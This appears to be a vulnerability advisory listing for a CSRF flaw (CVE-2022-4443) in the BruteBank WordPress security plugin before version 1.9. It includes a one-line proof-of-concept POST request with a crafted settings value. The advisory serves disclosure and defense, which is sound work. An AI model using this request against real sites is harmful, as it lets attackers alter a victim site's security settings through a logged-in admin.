Lucene search
RezadutyWPEX-ID:1E621D62-13C7-4B2F-96CA-3617A796D037HistoryDec 28, 2022 - 12:00 a.m.
BruteBank - WP Security & Firewall < 1.9 - Settings Update via CSRF
2022-12-2800:00:00
rezaduty
278
brutebank
wordpress
security
firewall
csrf
settings update
EPSS
0.001
Percentile
34.5%
The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged-in admin change them via a CSRF attack.
POST /wp-admin/admin.php?page=brutebank-settings HTTP/1.1
public_key=site.a%22%2522aaaa%3Daaa&secret_key=aaa&update=UpdateRelated
prion
prion
Cross site request forgery (csrf)
2023-01-23 15:15:00
wpvulndb
wpvulndb
BruteBank - WP Security & Firewall < 1.9 - Settings Update via CSRF
2022-12-28 00:00:00
nvd
nvd
CVE-2022-4443
2023-01-23 15:15:14
cve
cve
CVE-2022-4443
2023-01-23 15:15:14
cvelist
cvelist